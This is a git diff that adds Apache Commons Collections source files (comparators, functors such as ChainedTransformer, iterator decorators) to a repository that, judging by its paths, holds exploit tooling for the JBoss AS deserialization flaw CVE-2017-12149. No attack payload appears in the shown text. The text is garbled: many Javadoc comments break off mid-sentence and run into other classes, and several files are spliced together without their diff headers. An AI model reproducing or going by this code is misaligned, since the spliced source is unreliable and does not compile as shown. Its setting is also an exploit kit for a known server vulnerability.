+ //-----------------------------------------------------------------------
+ /**
+ * Adds an item, which compares as after all items known to the Comparator.
+ * If the item is already known to the Comparator, its old position is
+ * replaced with the new position.
+ *
+ * @param obj the item to be added to the Comparator.
+ * @return true if obj has been added for the first time, false if
+ * it was already known to the Comparator.
+ * @throws UnsupportedOperationException if a comparison has already been made
+ */
+ public boolean add(Object obj) {
+ checkLocked();
+ Object position = map.put(obj, new Integer(counter++));
+ return (position == null);
+ }
+
+ /**
+ * Adds a new item, which compares as equal to the given existing item.
+ *
+ * @param existingObj an item already in the Comparator's set of
+ * known objects
+ * @param newObj an item to be added to the Comparator's set of
+ * known objects
+ * @return true if newObj has been added for the first time, false if
+ * it was already known to the Comparator.
+ * @throws IllegalArgumentException if existingObject is not in the
+ * Comparator's set of known objects.
+ * @throws UnsupportedOperationException if a comparison has already been made
+ */
+ public boolean addAsEqual(Object existingObj, Object newObj) {
+ checkLocked();
+ Integer position = (Integer) map.get(existingObj);
+ if (position == null) {
+ throw new IllegalArgumentException(existingObj + " not known to " + this);
+ }
+ Object result = map.put(newObj, position);
+ return (result == null);
+ }
+
+ // Comparator methods
+ //-----------------------------------------------------------------------
+ /**
+ * Compares two objects according to the order of this Comparator.
+ *
+ * It is important to note that this class will throw an IllegalArgumentException
+ * in the case of an unrecognised object. This is not specified in the
+ * Comparator interface, but is the most appropriate exception.
+ *
+ * @param obj1 the first object to compare
+ * @param obj2 the second object to compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ * @throws IllegalArgumentException if obj1 or obj2 are not known
+ * to this Comparator and an alternative behavior has not been set
+ * via {@link #setUnknownObjectBehavior(int)}.
+ */
+ public int compare(Object obj1, Object obj2) {
+ isLocked = true;
+ Integer position1 = (Integer) map.get(obj1);
+ Integer position2 = (Integer) map.get(obj2);
+ if (position1 == null || position2 == null) {
+ switch (unknownObjectBehavior) {
+ case UNKNOWN_BEFORE :
+ if (position1 == null) {
+ return (position2 == null) ? 0 : -1;
+ } else {
+ return 1;
+ }
+ case UNKNOWN_AFTER :
+ if (position1 == null) {
+ return (position2 == null) ? 0 : 1;
+ } else {
+ return -1;
+ }
+ case UNKNOWN_THROW_EXCEPTION :
+ Object unknownObj = (position1 == null) ? obj1 : obj2;
+ throw new IllegalArgumentException("Attempting to compare unknown object " + unknownObj);
+ default :
+ throw new UnsupportedOperationException("Unknown unknownObjectBehavior: " + unknownObjectBehavior);
+ }
+ } else {
+ return position1.compareTo(position2);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/NullComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/NullComparator.java"
new file mode 100644
index 0000000..aae82c0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/NullComparator.java"
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.io.Serializable;
+import java.util.Comparator;
+
+/**
+ * A Comparator that will compare nulls to be either lower or higher than
+ * other objects.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.13 $ $Date: 2004/05/15 13:24:11 $
+ *
+ * @author Michael A. Smith
+ */
+public class NullComparator implements Comparator, Serializable {
+
+ /** Serialization version. */
+ private static final long serialVersionUID = -5820772575483504339L;
+
+ /**
+ * The comparator to use when comparing two non-
+ * This implementation returns
+This package contains implementations of the
+{@link java.util.Comparator Comparator} interface.
+
+You may also consider using
+{@link org.apache.commons.collections.ComparatorUtils ComparatorUtils},
+which is a single class that uses static methods to construct instances
+of the classes in this package.
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AllPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AllPredicate.java"
new file mode 100644
index 0000000..6186c2f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AllPredicate.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if all the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class AllPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -3094696765038308799L;
+
+ /** The array of predicates to call */
+ private final Predicate[] iPredicates;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the
+ * The input object is passed to the first transformer. The transformed result
+ * is passed to the second transformer and so on.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ChainedTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3514945074733160196L;
+
+ /** The transformers to call in turn */
+ private final Transformer[] iTransformers;
+
+ /**
+ * Factory method that performs validation and copies the parameter array.
+ *
+ * @param transformers the transformers to chain, copied, no nulls
+ * @return the
+ * Clone is performed using
+ * No check is made that the object is immutable. In general, only immutable
+ * objects should use the constant factory. Mutable objects should
+ * use the prototype factory.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ConstantFactory implements Factory, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -3520677225766901240L;
+
+ /** Returns null each time */
+ public static final Factory NULL_INSTANCE = new ConstantFactory(null);
+
+ /** The closures to call in turn */
+ private final Object iConstant;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param constantToReturn the constant object to return each time in the factory
+ * @return the
+ * No check is made that the object is immutable. In general, only immutable
+ * objects should use the constant factory. Mutable objects should
+ * use the prototype factory.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ConstantTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 6374440726369055124L;
+
+ /** Returns null each time */
+ public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
+
+ /** The closures to call in turn */
+ private final Object iConstant;
+
+ /**
+ * Transformer method that performs validation.
+ *
+ * @param constantToReturn the constant object to return each time in the factory
+ * @return the
+ * A null closure or zero count returns the
+ * If the map is null, a transformer that always returns null is returned.
+ *
+ * @param map the map, not cloned
+ * @return the transformer
+ */
+ public static Transformer getInstance(Map map) {
+ if (map == null) {
+ return ConstantTransformer.NULL_INSTANCE;
+ }
+ return new MapTransformer(map);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use
+ * This interface enables tools to access the decorated predicates.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface PredicateDecorator extends Predicate {
+
+ /**
+ * Gets the predicates being decorated as an array.
+ *
+ * The array may be the internal data structure of the predicate and thus
+ * should not be altered.
+ *
+ * @return the predicates being decorated
+ */
+ Predicate[] getPredicates();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateTransformer.java"
new file mode 100644
index 0000000..7c45e8c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateTransformer.java"
@@ -0,0 +1,85 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that calls a Predicate using the input object
+ * and then returns the input.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class PredicateTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 5278818408044349346L;
+
+ /** The closure to wrap */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param predicate the predicate to call, not null
+ * @return the
+ * Creates a Factory that will return a clone of the same prototype object
+ * each time the factory is used. The prototype will be cloned using one of these
+ * techniques (in order):
+ *
+ * The Map consists of Predicate keys and Closure values. A closure
+ * is called if its matching predicate returns true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * closure is called. The default closure is set in the map with a
+ * null key. The ordering is that of the iterator() method on the entryset
+ * collection of the map.
+ *
+ * @param predicatesAndClosures a map of predicates to closures
+ * @return the
+ * The Map consists of Predicate keys and Transformer values. A transformer
+ * is called if its matching predicate returns true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * transformer is called. The default transformer is set in the map with a
+ * null key. The ordering is that of the iterator() method on the entryset
+ * collection of the map.
+ *
+ * @param predicatesAndTransformers a map of predicates to transformers
+ * @return the
+ * A null transformer will return the
+This package contains implementations of the
+{@link org.apache.commons.collections.Closure Closure},
+{@link org.apache.commons.collections.Predicate Predicate},
+{@link org.apache.commons.collections.Predicate Transformer} and
+{@link org.apache.commons.collections.Predicate Factory} interfaces.
+These provide simple callbacks for processing with collections.
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java"
new file mode 100644
index 0000000..5273b92
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java"
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.NoSuchElementException;
+
+/**
+ * Provides an implementation of an empty iterator.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.2 $ $Date: 2004/05/26 20:57:43 $
+ *
+ * @author Stephen Colebourne
+ */
+abstract class AbstractEmptyIterator {
+
+ /**
+ * Constructor.
+ */
+ protected AbstractEmptyIterator() {
+ super();
+ }
+
+ public boolean hasNext() {
+ return false;
+ }
+
+ public Object next() {
+ throw new NoSuchElementException("Iterator contains no elements");
+ }
+
+ public boolean hasPrevious() {
+ return false;
+ }
+
+ public Object previous() {
+ throw new NoSuchElementException("Iterator contains no elements");
+ }
+
+ public int nextIndex() {
+ return 0;
+ }
+
+ public int previousIndex() {
+ return -1;
+ }
+
+ public void add(Object obj) {
+ throw new UnsupportedOperationException("add() not supported for empty Iterator");
+ }
+
+ public void set(Object obj) {
+ throw new IllegalStateException("Iterator contains no elements");
+ }
+
+ public void remove() {
+ throw new IllegalStateException("Iterator contains no elements");
+ }
+
+ public Object getKey() {
+ throw new IllegalStateException("Iterator contains no elements");
+ }
+
+ public Object getValue() {
+ throw new IllegalStateException("Iterator contains no elements");
+ }
+
+ public Object setValue(Object value) {
+ throw new IllegalStateException("Iterator contains no elements");
+ }
+
+ public void reset() {
+ // do nothing
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java"
new file mode 100644
index 0000000..e7cf03b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java"
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+/**
+ * Provides basic behaviour for decorating an iterator with extra functionality.
+ *
+ * All methods are forwarded to the decorated iterator.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public class AbstractIteratorDecorator implements Iterator {
+
+ /** The iterator being decorated */
+ protected final Iterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that decorates the specified iterator.
+ *
+ * @param iterator the iterator to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractIteratorDecorator(Iterator iterator) {
+ super();
+ if (iterator == null) {
+ throw new IllegalArgumentException("Iterator must not be null");
+ }
+ this.iterator = iterator;
+ }
+
+ /**
+ * Gets the iterator being decorated.
+ *
+ * @return the decorated iterator
+ */
+ protected Iterator getIterator() {
+ return iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public void remove() {
+ iterator.remove();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java"
new file mode 100644
index 0000000..2ad78b3
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java"
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+
+/**
+ * Provides basic behaviour for decorating a list iterator with extra functionality.
+ *
+ * All methods are forwarded to the decorated list iterator.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Rodney Waldhoff
+ * @author Stephen Colebourne
+ */
+public class AbstractListIteratorDecorator implements ListIterator {
+
+ /** The iterator being decorated */
+ protected final ListIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that decorates the specified iterator.
+ *
+ * @param iterator the iterator to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractListIteratorDecorator(ListIterator iterator) {
+ super();
+ if (iterator == null) {
+ throw new IllegalArgumentException("ListIterator must not be null");
+ }
+ this.iterator = iterator;
+ }
+
+ /**
+ * Gets the iterator being decorated.
+ *
+ * @return the decorated iterator
+ */
+ protected ListIterator getListIterator() {
+ return iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public int nextIndex() {
+ return iterator.nextIndex();
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ return iterator.previous();
+ }
+
+ public int previousIndex() {
+ return iterator.previousIndex();
+ }
+
+ public void remove() {
+ iterator.remove();
+ }
+
+ public void set(Object obj) {
+ iterator.set(obj);
+ }
+
+ public void add(Object obj) {
+ iterator.add(obj);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java"
new file mode 100644
index 0000000..faa995d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java"
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.MapIterator;
+
+/**
+ * Provides basic behaviour for decorating a map iterator with extra functionality.
+ *
+ * All methods are forwarded to the decorated map iterator.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public class AbstractMapIteratorDecorator implements MapIterator {
+
+ /** The iterator being decorated */
+ protected final MapIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that decorates the specified iterator.
+ *
+ * @param iterator the iterator to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractMapIteratorDecorator(MapIterator iterator) {
+ super();
+ if (iterator == null) {
+ throw new IllegalArgumentException("MapIterator must not be null");
+ }
+ this.iterator = iterator;
+ }
+
+ /**
+ * Gets the iterator being decorated.
+ *
+ * @return the decorated iterator
+ */
+ protected MapIterator getMapIterator() {
+ return iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public void remove() {
+ iterator.remove();
+ }
+
+ public Object getKey() {
+ return iterator.getKey();
+ }
+
+ public Object getValue() {
+ return iterator.getValue();
+ }
+
+ public Object setValue(Object obj) {
+ return iterator.setValue(obj);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java"
new file mode 100644
index 0000000..42696f2
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java"
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.OrderedMapIterator;
+
+/**
+ * Provides basic behaviour for decorating an ordered map iterator with extra functionality.
+ *
+ * All methods are forwarded to the decorated map iterator.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public class AbstractOrderedMapIteratorDecorator implements OrderedMapIterator {
+
+ /** The iterator being decorated */
+ protected final OrderedMapIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that decorates the specified iterator.
+ *
+ * @param iterator the iterator to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractOrderedMapIteratorDecorator(OrderedMapIterator iterator) {
+ super();
+ if (iterator == null) {
+ throw new IllegalArgumentException("OrderedMapIterator must not be null");
+ }
+ this.iterator = iterator;
+ }
+
+ /**
+ * Gets the iterator being decorated.
+ *
+ * @return the decorated iterator
+ */
+ protected OrderedMapIterator getOrderedMapIterator() {
+ return iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ return iterator.previous();
+ }
+
+ public void remove() {
+ iterator.remove();
+ }
+
+ public Object getKey() {
+ return iterator.getKey();
+ }
+
+ public Object getValue() {
+ return iterator.getValue();
+ }
+
+ public Object setValue(Object obj) {
+ return iterator.setValue(obj);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayIterator.java"
new file mode 100644
index 0000000..17d8c7e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayIterator.java"
@@ -0,0 +1,222 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.lang.reflect.Array;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * Implements an {@link java.util.Iterator Iterator} over any array.
+ *
+ * The array can be either an array of object or of primitives. If you know
+ * that you have an object array, the
+ * {@link org.apache.commons.collections.iterators.ObjectArrayIterator ObjectArrayIterator}
+ * class is a better choice, as it will perform better.
+ *
+ * The iterator implements a {@link #reset} method, allowing the reset of
+ * the iterator back to the start if required.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.11 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ * @author Mauricio S. Moura
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public class ArrayIterator implements ResettableIterator {
+
+ /** The array to iterate over */
+ protected Object array;
+ /** The start index to loop from */
+ protected int startIndex = 0;
+ /** The end index to loop to */
+ protected int endIndex = 0;
+ /** The current iterator index */
+ protected int index = 0;
+
+ // Constructors
+ // ----------------------------------------------------------------------
+ /**
+ * Constructor for use with
+ * Using this constructor, the iterator is equivalent to an empty iterator
+ * until {@link #setArray(Object)} is called to establish the array to iterate over.
+ */
+ public ArrayIterator() {
+ super();
+ }
+
+ /**
+ * Constructs an ArrayIterator that will iterate over the values in the
+ * specified array.
+ *
+ * @param array the array to iterate over.
+ * @throws IllegalArgumentException if
+ * If an array has previously been set (using the single-arg constructor
+ * or this method) then that array is discarded in favour of this one.
+ * Iteration is restarted at the start of the new array.
+ * Although this can be used to reset iteration, the {@link #reset()} method
+ * is a more effective choice.
+ *
+ * @param array the array that the iterator should iterate over.
+ * @throws IllegalArgumentException if
+ * The array can be either an array of object or of primitives. If you know
+ * that you have an object array, the {@link ObjectArrayListIterator}
+ * class is a better choice, as it will perform better.
+ *
+ *
+ * This iterator does not support {@link #add(Object)} or {@link #remove()}, as the array
+ * cannot be changed in size. The {@link #set(Object)} method is supported however.
+ *
+ * @see org.apache.commons.collections.iterators.ArrayIterator
+ * @see java.util.Iterator
+ * @see java.util.ListIterator
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.12 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ * @author Phil Steitz
+ */
+public class ArrayListIterator extends ArrayIterator
+ implements ListIterator, ResettableListIterator {
+
+ /**
+ * Holds the index of the last item returned by a call to
+ * Using this constructor, the iterator is equivalent to an empty iterator
+ * until {@link #setArray(Object)} is called to establish the array to iterate over.
+ */
+ public ArrayListIterator() {
+ super();
+ }
+
+ /**
+ * Constructs an ArrayListIterator that will iterate over the values in the
+ * specified array.
+ *
+ * @param array the array to iterate over
+ * @throws IllegalArgumentException if
+ * This method sets the element that was returned by the last call
+ * to {@link #next()} of {@link #previous()}.
+ *
+ * Note: {@link ListIterator} implementations that support
+ *
+ * Given two ordered {@link Iterator} instances
+ * This class provides an implementation of an empty iterator.
+ * This class provides for binary compatability between Commons Collections
+ * 2.1.1 and 3.1 due to issues with
+ * This class provides an implementation of an empty list iterator.
+ * This class provides for binary compatability between Commons Collections
+ * 2.1.1 and 3.1 due to issues with
+ * This method can be called once per call to
+ * Functions if an associated
+ * This class makes multiple iterators look like one to the caller
+ * When any method from the Iterator interface is called, the IteratorChain
+ * will delegate to a single underlying Iterator. The IteratorChain will
+ * invoke the Iterators in sequence until all Iterators are exhausted.
+ *
